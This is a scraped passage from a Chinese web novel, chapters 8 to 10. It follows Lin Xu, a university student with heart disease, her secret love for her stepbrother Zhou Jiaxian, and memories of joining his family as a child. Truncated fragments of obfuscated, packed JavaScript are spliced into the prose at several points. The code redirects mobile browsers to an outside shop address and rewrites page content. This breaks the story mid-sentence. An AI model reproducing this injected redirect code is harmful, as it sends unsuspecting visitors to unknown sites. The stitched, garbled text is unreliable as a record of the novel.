l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222574|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全破灭了，当年的小女孩们根本无法做到不动声色地远离那个男生，大多数露出了义愤填膺、仇视的眼神，她们觉得受到了欺骗，而那个男生也在班级里呆不下去了，很快直接转学了…… 作为唯一一个被真正欺骗，且被气得心脏病发的人，班上的女生都很同情她，她因为这件事慢慢融入了班级里。 …… “对不起什么啊！你跟我们说什么对不起……”陈瑶敲了敲桌面，恨铁不成钢道：“哪有人这么诋毁自己的啊？” 林絮笑了笑，“好吧，我以后再也不这么说了。” “这还差不多！” 林絮靠着椅背，垂眸望着掌心和她哥一模一样的黑色手机，当年的她不懂事，还以为自己是真的喜欢那个男生。 但……其实不是的，高中某一天她忽然意识到她哥周嘉先的感情时才恍然大悟，原来仅仅是因为那个男生的表面功夫和她哥有几分相似而已，她喜欢的、情窦初开的对象一直都是她哥周嘉先而已。 现在她连那个男生的名字、长得什么样子都完全记不起来了。若真的是第一次喜欢的人，怎么会忘得这么干脆呢？ - 前方正好遇上红灯，周嘉先缓缓踩下了刹车，视线落在交通灯上，他的指尖在方向盘上一点一点着。 这时，车道旁的人行道上，一对情侣手牵着手走过，女生手上还抱着一束火红的玫瑰花。周嘉先侧目望过去，想起的却是小脸苍白躺在病床上的妹妹林絮。 他拧了拧眉心，心情是说不上来的烦闷，今天一早就遇见了那个曾经害他妹妹犯病的男生，去了学校又遇上情绪不稳定、自以为是纠缠他妹妹的大学生。 「我有喜欢很多年的人了……」 妹妹林絮的话仿佛浮现在他的耳边，周嘉先发出啧的一声，他是绝对不会同意的，任何他看不上眼的男生休想靠近他妹妹，他无法想象她再一次犯病的情形。 他要把所有可能伤害她的因素扼杀在摇篮之中，没人知道当年高中他得知她在医院抢救时的心情…… 8. 第 8 章 - 大气科学专业的必修课基本上上到大四的第一学期就结束了，剩下的一部分选修课在第二学期。 快到寒假了，很多学生都在考虑能不能在寒假期间找一份与专业对口的实习工作，可以作为到了真正毕业时找工作时简历上的一份经验。 宿舍里，朱玲玲、陈瑶、魏桔也在讨论着这个话题…… 朱玲玲：“我们专业找工作好难啊，真不明白为什么都说我们专业就业率超级高……哪里高了啊，明明就业范围很窄，要不就考公、事业编，要不就气象局，本科生大概只能去县局了吧？” 魏桔也叹了口气，“气象局啊……别说了，工资低得养不活我自己，京照市的消费水平很高啊。” “还是隔壁的应用气象专业比较好，就业范围没那么窄。我听说现在偏远地区市气象局基本都是硕士起步了，东南沿海经济繁华的地区，博士都不一定进得去……”魏桔也皱着眉头。 坑啊！毕业就辍业的专业！ 三人长吁短叹了一番之后才发现林絮一直沉默着，陈瑶愣了愣，“林絮，你呢？你寒假怎么打算？” “我……还没想好呢！”林絮掩盖住低落的情绪，笑了笑道。 舍友本来就很烦恼工作上的事了，她不想再多说一些让她们更加忧心的事了。 找工作啊……现在入职正规的企业基本上都需要做入职体检，她的入职体检是绝对过不了关的，谁家会招一个有心脏病的员工啊，考公考编就更不行了…… 朱玲玲闻言点了点头，“我们也是，都还没想好。只能走一步看一步了。” 林絮随意地点了点头，视线落在桌上的时钟上，快到八点了，她下意识看向一旁的手机，现在这个点，如果她哥准点下班的话，现在在家应该吃完晚饭了。 刚这么想时，手机铃声忽然响了起来，林絮沉静的眼眸顿时掀起波澜，眼底闪烁着亮光，她抄起桌面的手机打开宿舍门，站在阳台上接通了语音电话。 “哥……” “嗯，是我。”周嘉先洗完澡将手头比较紧急的事情处理完之后习惯性地打了个电话给妹妹小絮，“这个点你应该吃完晚饭了吧？” “嗯，吃过了，哥你呢？”林絮明知故问道，阳台上不像宿舍内有暖气，她站在这儿就一会儿功夫，就觉得鼻尖呼吸的空气都是凛冽的。 林絮剁了剁脚，望着远处校园内，今夜月色昏沉，路灯照耀在校道上，校道两旁堆着还来不及铲走的雪堆，雪堆上反光着路灯的光晕，风呼呼地吹着，她握着手机的手指有些僵硬，却舍不得挂断电话，仍然和她哥扯着家常小事。 聊了大概有十几分钟之后，林絮忍不住吸了吸鼻子。 周嘉先说话的声音一顿，仔细辨别了一会儿她说话时，手机那边传过来的细微的风声，他下意识皱起眉头，“小絮，你是不是觉得冷？又没有穿外套就跑出来阳台吗？” 他也读过大学，知道在寝室里煲电话粥是很惹舍友心烦的事情。 林絮：“没事，就是有一点点风而已。小问题的。” 她话音刚落，从宿舍到阳台的门就被打开了，陈瑶拎着件厚厚的长款羽绒服递给林絮，“阳台上这么冷，你打电话怎么不穿外套就跑出来了……赶紧穿上吧！” 林絮笑了笑，“谢谢你啊！”她从顺如流地披上羽绒外套，被风吹得有点打颤的身体稍微好受了一些。 电话那边的周嘉先闻声也笑了笑，妹妹小絮的舍友他撞见过几次，虽然没说上几句话，但他也知道她们都很照顾他的妹妹。 “大学快四年了，你舍友那么照顾你，哥还是觉得得请她们吃顿饭好好感谢一下她们比较好。” 他知道学校在安排宿舍的时候，辅导员和他妹妹专业的女生说过她的身体状况的，而大多数为了避免麻烦，都拒绝了他妹妹小絮作为她们的舍友，只有他妹妹现在的舍友同意了让小絮和她们一起住。 林絮闻言抿了抿唇，这件事她哥提过好多次了，每次都被她以“哥你比我们大那么多，我舍友们和你一起吃饭会不自在的”为理由拒绝掉了…… 不是她不乐意，她的舍友们很照顾她，她也很感谢她们，但是她真的很害怕被陈瑶她们看出来她喜欢她哥。这是她难以启齿的秘密，她也害怕舍友们知道后会对她露出异样的眼神…… “等下学期快毕业的时候吧……”林絮妥协道，她想着等到那时候要是她的舍友们真的发现了她不堪的心思，也刚好毕业了。 “也行。”周嘉先话完了家常，这才说起他每天打电话必备的“查岗”事件，“小絮……今天的药都吃了吗？最近怎么样，身体会不舒服吗？需不需要重新配药？” 因为从小到大她一直在吃药，所以有些药对她来说吃着吃着就产生了抗药性，效果就没那么好了，有时候也需要去医院重新配同等效果的另一种药。 每天到了这个话题的时候，林絮总是忍不住心生烦躁，很想挂了电话，可她又偏偏舍不得，留恋和他讲话的这分分秒秒，语音通话可以让她在说话的时候不用克制她满眼钦慕和爱恋的眼神，这些年她对着夜色可以无限地流露出她的满腔爱意。 “药我吃了，最近身体还好，没什么不舒服，暂时也应该不需要重新配药。” “那就好。有什么问题及时和哥说，知道吗？” 林絮的耳边传来他通过电子设备后依旧温柔清润的低哄声，要是……要是她现在在家里的话就可以钻进她哥的怀抱里了…… 十几年如一日地哄她、照顾她，从不认为她是累赘，她也从未在他脸上见过不耐烦的神情，这世界上为什么会有这么温柔的人，他像清风徐徐、像明月皎皎，但清风不可能永远只吹拂着她，明月不可能只为她而亮，她注定是他的妹妹吗？可是……好不甘心啊！ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222575|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“知道了……”林絮低声道。 周嘉先：“你什么时候考完期末，几号放假，我去接你。” “十七号考完，哥你十七号下午就可以来接我了……” “好。” 林絮又讲了一些学校最近发生的事情，电话那边周嘉先认真地听着，时不时回应几声。眼看着手机快没电了，再考虑到她要是再讲下去，她哥晚上又得熬夜忙工作上的事情，她讪讪地安静了好一会儿。 周嘉先微微皱了皱眉头，怎么安静了，“小絮？？” “哥……我说的话是不是很无聊啊，你去忙工作上的事情吧。” 周嘉先忍俊不禁：“不会无聊，你和我讲学校的事情，我才放心，不然你什么都不告诉哥，哥会以为你在憋个大招。” “我哪里会！我已经长大了！” “好好好！你已经长大了。” 这般敷衍和打发小孩的话语，林絮撇了撇嘴，哼了一声，“哥！我手机没电了，不和你说了！” 周嘉先仿佛没听到她气哼哼的声音一样，依旧温声道：“好，记得早点睡觉。” “知道了！” 林絮听着那边挂断了电话才恋恋不舍地将手机移开耳边，明明是凛冬，她愣是将手机和那一侧的耳朵捂得发烫。 - 林絮刚走进宿舍，陈瑶就把头从蚊帐里探出来，“林絮，现在才九点多，还早着呢，我们都还没睡觉，下次你接电话直接在宿舍里就好了，我们都不介意的啊！” “是啊！”朱玲玲也掀开床帘，“阳台太冷了。” 魏桔笑了一声，“我们都说了那么多遍了，她哪一次听了，行了行了，下次记得穿羽绒外套就行。” 林絮眼眸带笑，“好啦，我知道啦！” 她边说着边从柜子里拿出三份厚厚的复印好的资料走过去递给她们三人，道：“这是我整理的各科期末复习资料，我觉得出题范围就在这里面了。” 话语刚落，拿到复习资料的三人如获至宝地嗷嗷大叫，“哇！答题宝典啊！我啃了这份资料，期末肯定不挂科！” “谢谢你，我亲爱的小絮絮！” “太好了，我还愁老师们居然不给我们划考试范围呢！这次稳了稳了！谢谢你啊，林絮。” 不怪她们如此激动，实在是林絮的成绩从入学以来就一直稳居她们专业第一，要知道大气科学专业是偏向理科的，大量的数据和计算有时候光是看着就头晕目眩，有干货复习资料她们能不激动吗？ 林絮笑着道：“能帮到你们就好了，我也会很开心的，不枉我搞了好一阵子、费了很多心思才整理出来的……” 这话一说，朱玲玲三人又连连道谢…… 宿舍内几个女生说说笑笑着，林絮笑着微微垂下了眼帘，她并不是那种默默做好事的人，她做了什么事自然都要让别人知道，从小到大都是如此…… 9. 第 9 章 - 林絮刚和她爸林浩住进周家的时候，虽然柳垂影和周嘉先都表现出了热情的欢迎，但林絮内心还是不安的。 年幼时听到的《灰姑娘》的故事深入人心，灰姑娘的继母和姐姐们也是后来才暴露出真面目的。 林絮一方面很担心柳垂影和周嘉先会趁她爸不在家的时候虐待她，一方面脑海里却时时浮现出林浩眼底轻松的笑意。 「小絮，你到底是一个女孩子，现在慢慢长大了，你爸以后一个人照顾你不方便，有了新的妈妈以后她也能看顾一下你。」 「小絮啊，去了新家嘴要甜一点，喊妈妈，听到没？还有喊哥哥，不要和哥哥抢玩具玩。总之嘴要甜，眼里要有活。懂事一点，大家都会喜欢你的。」 奶奶的话时时回响在年幼的林絮耳边，她思来想去，最终认同奶奶的话，她要嘴甜一点，要眼里有活，让这个新家好好地维持下去。 彼时的林絮刚好是上小学一年级的时候，林浩和柳垂影前前后后跑了好多趟，打了很多个电话，送礼托关系…… 小林絮将这一切看在眼里，她很想上学，但看着家里人为这件事跑来跑去，她抿了抿唇，轻轻扯住了林浩的衣角，“爸爸妈妈，要不我不去上学了，我在家里就好了。在家里还能每天看电视……” 林浩低头，看着远比同龄人要小的林絮，心里滋味难言，因为先天性心脏病，很多小孩子能做的事情、能吃的东西，她统统都不能，甚至小小年纪就吃药如同吃饭一般。 “不行，学是一定要上的。不上学这辈子你都没有出路。”柳垂影摸了摸她的头，坚定道。 小林絮闻言，心中升起窃喜的同时又感到内疚，她又给大家添麻烦了。小林絮仔仔细细辨认着大人眼里的情绪，小小年纪早就学会了看脸色。 饭桌上，一家人吃过晚饭，小林絮和小周嘉先正在客厅里看着动画片，林浩和柳垂影一边洗着碗一边小声地说着话。 “学校那边终于松口了……” 小林絮听到“学校”两个字后偷偷竖起了耳朵，眼珠子转来转去的，越坐越不安稳，动画片在播放着，她根本听不清楚她爸妈在说什么，学校……学校怎么了？ 正当她内心焦急得不行的时候，突然发现动画片的背景声音突然变小了，她下意识地看向一旁的哥哥周嘉先。 小周嘉先露出了笑意，食指在嘴巴前竖起，小小声地“嘘”了一声。 小林絮愣愣地点了点头，由着她哥哥小周嘉先走过来牵着她的手蹑手蹑脚地走到厨房门口的餐桌旁，隔着玻璃门两人偷偷听着父母的谈话。 “……就是说必须签个免责保证书，只有签了，小絮才能去京照一小上学。” 这话说完，厨房里安静了下来，只剩下水流的声音，而根本不懂“免责保证书”是什么意思的小林絮急得不行，以为只要签字她就能去上学了，心道那就签字啊，她想去上学。 小林絮紧紧攥着餐椅的把手，微微咬着唇，等待着长辈的决定。 小周嘉先小声地摸了摸妹妹的发顶，在她耳边低声道：“可以的，别担心，爸爸妈妈会让你去上学的。” “真……真的吗？”小林絮抿了抿唇，眼眶红红。 “嗯！哥给你保证。”小周嘉先这么说道。 厨房的玻璃门忽然刷地一下被推开了，林浩、柳垂影看着门口的两个小孩子，问道：“怎么站在这儿不去看电视？” 小林絮闻言一慌，偷偷听大人说话的小孩肯定不是好孩子，她刚刚就偷听大人说话还被发现了……怎么办？她不是好孩子了。 这时，小周嘉先指了指餐桌上的水壶，道：“我过来给妹妹倒杯水喝的。” 林浩笑了笑，“对，要多喝水，我给你们倒吧。”他给两个小孩一人倒了一杯温水。 小林絮呆呆地看着小周嘉先，小周嘉先拿了杯水递给她，又自己喝了一杯，小林絮见状也跟着有样学样、乖乖喝了杯水。 喝完后，小周嘉先忽然道：“爸妈我刚才听见什么免责保证书，是怎么了吗？” 小林絮瞪大眼睛，哥哥居然问了，那爸爸妈妈肯定知道他们偷听了，会不会生气？她内心忐忑不安着。 没想到林浩、柳垂影只是面面相觑，最终叹了一口气后道：“过来沙发这坐着吧，爸妈和你们说清楚。” 林浩、柳垂影坐在双人沙发上，而小周嘉先、小林絮因为个子、身型都不大，两人刚好坐在一张单人沙发上，小林絮紧张不已，小周嘉先低头看了一下她的手，选择牵住了她。 林浩：“京照一小那边愿意让小絮去学校上学了，但是……必须签一个免责保证书，也就是小絮要是万一在学校发病了，学校那边是不负责任的。就是这个意思，小絮你能听懂吗？” 小林絮点了点头，她想说她愿意签免责保证书，但她不敢说，只低着头道：“我听爸爸妈妈的。” 小周嘉先闻言，“没事的，爸妈，我也在京照一小读书，我会保护好妹妹的，就让小絮去读书吧，不然你们去上班了，家里只有她一个人也不行啊！” 柳垂影点了点头，她其实也倾向于让林絮去上学，这个年纪的孩子就是应该上学，什么年龄段就该做什么事情，于是她对着儿子道：“行，那你在学校下课时间要是没事的话就多去看看妹妹。” “好！我一定会保护好妹妹的！”小周嘉先承诺道。 小林絮如愿上了京照一小，班里的小同学还都懵懵懂懂，不太明白先天性心脏病是什么病，只知道老师千叮咛万嘱咐不要欺负林絮。 且再加上林絮的高年级哥哥总是在下课期间过来找她，年纪还很小的一年级学生都下意识不敢欺负看起来远比同龄人幼小的林絮，谁让她有个高年级的哥哥呢，这个高年级的哥哥他们每逢周一都能看见他在主席台上演讲…… 父母、哥哥为了她劳心劳力，小林絮想着奶奶说的话，于是每天早上天刚微微亮的时候，她就赶紧起床拿了扫把将客厅扫干净，将茶几桌面上的垃圾清理干净，还用抹布擦了擦茶几。 因为害怕将家里人吵醒，她动作很轻，要想动作轻，不发出声音就得让速度慢下来，速度慢下来，小林絮又怕没在上学前打扫完，因此总是起得很早很早，每天晚上睡觉又惦记着第二天早上要起来打扫这件事，因此总是睡得很不安稳。 一段时间后，课堂上小林絮总是时不时开始打瞌睡，因此被老师说了几句，小林絮又尴尬又羞愧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222576|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但比之这件事更让她忧愁的是，她默默打扫了好一阵子，为什么爸爸妈妈还有哥哥他们没有夸奖她呢？甚至谈都没有谈起呢？她好想让他们知道她也有好好为家里出一份力，她并不是因为生病就什么都做不了，她也是可以帮忙的。 小林絮急于让家里人看到她的价值，这一天晚上她躺在床上琢磨了很久，第二天她起床得比平时偷偷起来打扫的时间晚了一些。 当她正好在清理茶几上的垃圾时，林浩和柳垂影刚好睡眼朦胧地走出来准备一起做早饭。 见小小的林絮在清理着茶几桌面上的垃圾和擦着桌子时，顿时惊讶极了，“小絮，你怎么起得这么早？” 小林絮尴尬地揪了揪衣服的下摆，“我……我睡不着就起来了……桌子上有垃圾我想弄干净。” 柳垂影忽然想起什么，问道：“这阵子家里的卫生是你打扫的吗？” 小林絮闻言，很不好意思地点了点头，老师说要学雷锋，偷偷做好事，但她不是，她故意睡晚了，再起来让爸爸妈妈撞见她在做卫生。 林浩、柳垂影面面相觑，这个年纪的小孩子怎么可能睡不着，明明就是怎么都不够睡的时候，之前那阵子每天早上起床他们夫妻俩发现家里变干净了，还以为是嘉先打扫的，毕竟这个孩子本身就比较早熟，帮大人做事都很正常，没想到居然是小絮…… 柳垂影笑了笑，低声问道：“那你每天打扫完，我怎么没在客厅里看见你啊？” 小林絮下意识道：“我回房间里睡觉了……”年幼的她完全没有意识到自己说漏了嘴，刚才还说自己睡不着的。 正说着话，小周嘉先从房间里出来了，见妹妹手上还攥着抹布，扫把又在她的脚边，顿时愣了愣，难道这些天家里的卫生是她打扫的？他还以为是晚睡的父母等他们兄妹俩睡着了才打扫的…… “妹妹，以后家里的卫生我来就好了。” 闻言，小林絮抿了抿唇，不太开心，好不容易让爸爸妈妈知道是她在打扫卫生了，哥哥怎么出来抢她的活？ 柳垂影、林浩笑了起来，“好了好了，那家里的卫生就给你们两个负责了，可以吗？” 小林絮、小周嘉先都点了点头，在这之后，因为有她哥哥的帮忙，爸爸妈妈只要看到家里是干净的就会想起来她也有为家里付出劳动，小林絮终于心安理得地上学了。 只不过，林絮靠在宿舍桌子的边缘，忍不住眼底露出怀念，当年的她怀揣着小心思，和她哥一起干活的时候，只要听到父母出了房间准备做早饭的声音时，她立刻表现得比哥哥还积极，还努力打扫…… 再后来，她被他纵容着，明明一开始积极表现的她慢慢地只在父母出房间的时候随手拿块抹布擦了擦茶几，让父母看到她有干活，实际上一早上她都在摸鱼，悠哉悠哉地看着他哥忙碌。 如今想想，林絮偷偷笑了笑，好像只有在他面前，她的疲懒、懒散、惰性、任性都可以完全表现出来，他十几年如一日地哄她，让她在他面前变得颐指气使起来，她从不需要掩饰自己性格上的缺陷…… 但对于旁人，就算是她爸，她都没有底气去任性地不作为，所以为别人做了什么，她都要别人看见，这才是她对别人的底气。 10. 第 10 章 - 林絮的思绪从过去的回忆中拨出来，眼前舍友们还在说说笑笑着…… 朱玲玲翻阅着手中的考试重点，忽然道：“林絮，你和你哥的关系一直都这么好吗？我也有哥哥，但我初中之后和我哥就不怎么一起玩了，偶尔家里有什么事他也是直接发微信给我而已，我们都不怎么打电话的。” 陈瑶、魏桔闻言也若有所思地点了点头，她们两个其实是独生女，但身边也有朋友家里是有兄弟姐妹的，关系也不乏不错的，但像林絮这样，这四年来几乎每天一个电话的兄妹关系还是第一次见，人家谈恋爱的都没有这样呢？ 林絮闻言顿了顿，心底发虚，她哥其实是为了天天例行检查她有没有吃药，然而这段感情中扭曲的却是她。 “嗯，可能我小时候比较任性，老是不吃药，我哥习惯了每天例行检查吧……” 朱玲玲点了点头，“哦……原来这样啊，那你哥真的好有耐心啊，而且你们也蛮多话聊的，电话一打一小时以上。” 林絮笑着，随意地点了点头，其实以前她和她哥不是微信语音通话的，在她还没发现自己的感情之前，她在高中，他在大学，他们都是直接视频聊天的，但…… 或许是意识到自己的感情之后，她看着手机屏幕中的他，心里总是格外别扭，忍不住想着要怎么调整手机的角度，让她看上去更好看。 且在有一次，她哥大学舍友以为她哥是在和女朋友聊天时，突然走过来喊了一声嫂子之后，她吓了个半死，为了避免眼中露出的爱意被没有任何滤镜的其他人看懂进而提醒她哥，她从此打电话都改用语音了…… …… 很快各科期末考如约而至，十七号早上考完最后一场考试，林絮和舍友们回到宿舍收拾行李，她们宿舍四人都是本地人，因此都选择将床上用品带回家洗，开学之后再拿回来，否则放在学校柜子里味道会很重。 24寸行李箱用来放衣服、小背包放护肤品、再加上一大袋的床上用品堆积在林絮的脚边，她一点儿都不急，找了张椅子坐下，开始看手机。 朱玲玲、魏桔、陈瑶见状笑了笑，每次开学或者放假，林絮的哥哥必过来拎包。 三人刚刚这么想着，宿舍门外传来“叩叩叩”的声响，林絮立刻站起来，她看了一眼舍友们，问道：“外面应该是我哥，现在方便我过去开个门吗？” 朱玲玲、魏桔、陈瑶都点了点头，并不太在意，她们也是准备回家的，自然这会儿不可能还穿着睡衣什么，都是穿着能见人的衣服。 陈瑶：“没事，你去开门吧……” 林絮小跑着过去开了门，宿舍门外果然是她哥周嘉先，他背对着她站在走廊上，今日他没有穿着黑色西装正装，而是穿着高领的白色羊毛衫，黑色的休闲裤，休闲的打扮使得他看起来很像是与她同届的大学生一样。 “哥！”林絮眉眼弯弯，“你今天没上班吗？” “不是，我提前下班了。”周嘉先转过身来微笑着，克制着视线让其仅仅落在妹妹林絮的脸上，“你们女生宿舍我不方便进去，你把行李推出来吧。” 照常理来说，其实女生宿舍楼他原本是进不了的，但因为这栋宿舍楼的宿管阿姨被林絮所读专业的辅导员透过底，所以知道林絮患有心脏病，而他作为林絮的哥哥因为妹妹脆弱的身体，开学、放假过来拎行李，宿管阿姨也就睁一只眼闭一只眼了……总不能让患有心脏病的林絮一个人拉着行李跑四楼吧…… “嗯，好！” 林絮点点头，转身进了宿舍推行李，周嘉先又选择了背对着寝室站着，等林絮将行李推出来后，他一手拎起行李箱，一手拎起装着床上用品的袋子，下巴微微抬了抬，示意林絮抱着剩余的小背包…… 林絮抱起小背包，转身朝寝室内的舍友们打了声招呼，“玲玲、魏桔、陈瑶……我先回家了，拜拜……” “好，拜拜！”三人异口同声。 也就是到了这时，周嘉先才微微笑了笑，朝林絮的舍友礼貌地点了点头。 等林絮、周嘉先的身影消失在朱玲玲三人的眼前时，朱玲玲、陈瑶、魏桔面面相觑了片刻，议论了起来…… 陈瑶一脸惊奇道：“真的……我无论怎么看都无法将刚才的男人和每天晚上例行给林絮打电话这样的行为联系起来……真的好违和啊！” 魏桔想了想，反驳道：“其实也不会很违和吧，林絮的哥哥看起来就是很会照顾人的样子。” “但是这种行为我真觉得怪怪的，这兄妹感情好成这样真的蛮少见的。”陈瑶道。 这时，朱玲玲的手机响了起来，是她哥，“哥，你等我一会，我还没收拾完，我的东西有点多，要不……你能不能上来帮我拎一点……” “就知道你是这样的……我马上马上就好，别催了……” 她挂断电话，看向陈瑶和魏桔，无奈道：“我哥才等我一会儿就三催四催的，让他帮忙上来拿一下行李，他立刻就说不行，让我自己拿，真是人比人气死人。” 陈瑶抬抬下巴，“看吧，像玲玲这样的，偶尔兄妹俩闹闹脾气的才正常吧。” 朱玲玲叹了口气，“大概是林絮生病的原因，家里人都小心翼翼的吧。” “可能也是吧……” - 林絮上了车，坐在副驾驶的位置上，她身体往后靠了靠，发现依旧是她调动过的、最适合她、最舒服的椅背倾斜度。座位的下方放着一双她的拖鞋，挡板处的小格子放着她的口红。 周嘉先启动车子之前，身子从驾驶座和副驾驶座的中间往后探，将后座上的粉红色的靠枕拿过来递给了林絮，那是她习惯在车上抱着的…… 车内是清甜的橘子味车载香氛，一切都是按照她的心思、习惯来的，就好像她身边的这个男人周围的环境处处有她的痕迹，却偏偏这种痕迹只能不露声色…… 林絮的心情忽然一下子低落下来，将烙印打得再深又有什么用，她哥一直都只是在完美地贯彻好哥哥的形象，她内心如何兵荒马乱，他全然不知。 开着车的周嘉先似有所觉，余光瞥了她一眼，见她抱着抱枕神色沉默的样子，问了句：“小絮，你怎么了？” 林絮抿了抿唇，神色恙恙地随便找了个借口，“没什么，最后一门科目考得不太好吧……” 周嘉先沉默了一瞬，“你说的不太好……是指没能满分吗？”他想起当年他在华城读大学的时候，某一天忽然接到她的电话，他才刚喂了一声，电话那边她就哭出来了…… 当时他急得不行，好说歹说她才告诉他，是最近的数学成绩不理想，后来他挂了电话，又找她的数学老师兼班主任询问，才知道她说的数学成绩不理想，是指最后一道大题被扣了两分，没考到满分。 当时的他真的觉得晒干了沉默…… 林絮：…… 林絮张了张嘴，哑口无言，她也想起了这件事，当时她哭只是因为很想他，看到他朋友圈发的辩论社团一起出去团建的照片，他的身边都是很优秀的同龄女孩子，他们有同样的话题，差不多的圈子。 而她还在读高中，还在距离华城五百公里外的京照，等到她上大学的时候，他早就大学毕业了，她没有机会和他相处同一个校园，没有办法像她想象中的那样和他一起走在大学的校道上……他们之间差了五岁，她永远追不上他…… 当时心酸难受得不行，就想打电话给他，可偏偏听到他的声音她就控制不住落了泪，最后扯了个借口说是成绩不理想，结果第二天就发现他哥给老师打电话了，搞得老师从此认为她是对自己格外严苛的人，还在课堂上表扬了她，搞得她真的很尴尬，现在想来大概当年的同学都在心里吐槽她凡尔赛吧！ 这么一想，林絮立刻急着道：“哥你不会又准备给老师打电话吧？” 周嘉先忍俊不禁，“怎么会？你现在都大学了，而且我也没你科目老师的电话……” “难道有的话，你还真想打啊？”林絮瞪大眼望着他。 周嘉先笑了笑，语气温和，“我不打，那你告诉我，怎么样我们家小絮心情才会好起来？” 车内安静，出风口的暖气呼呼吹着，他低沉柔和的声音仿佛直往她心里钻进去一样，热意涌上她的脸颊，林絮撇过头望着车窗外，道路两旁是树枝狰狞、光秃秃的树木，枝干上落满了雪堆。 “哥你给我买束花吧……”林絮嘟囔着低声说道。 周嘉先开车之余，侧首看了她后脑勺一眼，可爱圆润的丸子头是用红色的玫瑰发带绑着的，这一抹鲜红在灰蒙的雪天里显得格外亮眼。 “好。” 前方不远处就有一家花店，周嘉先停好车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222577|151238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开车门走进了花店内，天气太冷，林絮懒得下车。 花店内，各色各样的花朵扎堆般摆放着，一个年轻女孩子低着头正剪着花枝，见有客人进来便微笑着站起身道：“您好，先生，是选花吗？需要我推荐一下吗？” 赵雅大学毕业之后就开了这间花店，上门买花的大多是年轻人，而这其中年轻男性买花大多需要她推荐。 “谢谢，不过应该不需要，我自己挑一下。”妹妹小絮喜欢什么样的花，没有人比他更清楚了…… 意料之外的答案，赵雅眉眼一挑，这才放下手中拿着的花枝偷偷打量着眼前的男人，细长的丹凤眼、眉眼深邃、鼻峰挺直，面部轮廓清晰锐利，乍一眼看起来相当不好惹，然而当撞上对方的眼神时，却觉得如沐清风，男人眼眸中的温和让人完全忽略了他过于锋利的长相…… 周嘉先察觉到炙热的视线，抬眸望过去微笑着点了点头，视线又很快转移到各色的花朵面前……小絮还在车上等着他呢，他得尽快挑好。 “要十二朵黑巴克玫瑰，再加上九星叶点缀，包装纸的话选这种复古风的东巴纸。麻烦稍微快一点，谢谢。” 赵雅愣了一下，很少有男性能认出花朵的品种，甚至自行挑好了包装纸，她回过神来之后，按着对方的要求装扮了花束，她看着手中的花束，黑巴克玫瑰耀眼的酒红，九星叶浓墨重彩的墨绿，再加上亚麻质地的东巴纸，这束花是真的很好看…… 周嘉先接过花束，问了价格，赵雅报了个价格之后，周嘉先付了钱便微笑着点了点头推开店门离开了…… 赵雅透过朦胧的玻璃门看见男人打开车门上了车，副驾驶座位上好像是坐着一个女孩子。她心道：能亲自用心选花的男人真的很温柔体贴啊…… 之后，赵雅仿照对方挑选的品种也弄了一束放在橱窗上，吸引了很多年轻的女孩子进来，纷纷点名要一模一样的这束花。 …… 周嘉先小心翼翼地拿着花，快速打开车门坐进去，却发现副驾驶的妹妹已经睡着了，他嘴角微扬，打量了沉沉入睡的她一眼，随后伸手将花束放在了后排座位上，又熟练地扯过一条毛绒小毛毯轻轻盖在了林絮的身上。 车子启动，他放缓了速度，一路毫无颠簸地回到了小区家楼下。 周嘉先将车停好，等了好半响发现妹妹小絮就是不醒，他无奈地笑了下，即便车内开着暖气，但在车里睡觉既不舒服也很容易着凉。 他解开安全带，身子探过去，轻轻碰了碰林絮的手臂，低声道：“小絮，小絮！快醒醒，我们到家了，要睡回家睡好吗？” 副驾驶上的林絮依旧睡得香甜。 周嘉先：…… 听着她有节奏的呼吸声，周嘉先眉眼一挑，眼底闪过一丝笑意，上半身更加探过去，曲起食指指骨轻轻碰了碰她的额心。 她的眼睫毛微微颤动着，林絮嘤咛一声，微微睁开眼调整着睡麻了的姿势，朦胧的视野里，她仿佛看见他哥的脸庞近在眼前…… 林絮下意识地伸手拉了一下他的手臂，借着这股力往前一钻环抱着他探过来的腰身，脸颊在他的脖颈处蹭了蹭，一副又要安心睡过去的模样…… 周嘉先的手顿了片刻，无奈地笑了笑，伸手拍了拍还靠在他身上的林絮的脑袋，“起来了，我们到家了……快起来！” 林絮：？？？ 她刷地一下睁开眼，不是在做梦？鼻尖萦绕着她哥身上清冽的雪松味，林絮慌张地松开手，立刻往后一躲，语气都卡顿了，“哥、哥、哦，到、到家了是吧？” “嗯……”周嘉先眉眼温和，“走吧，上去了。” “哦，好。” 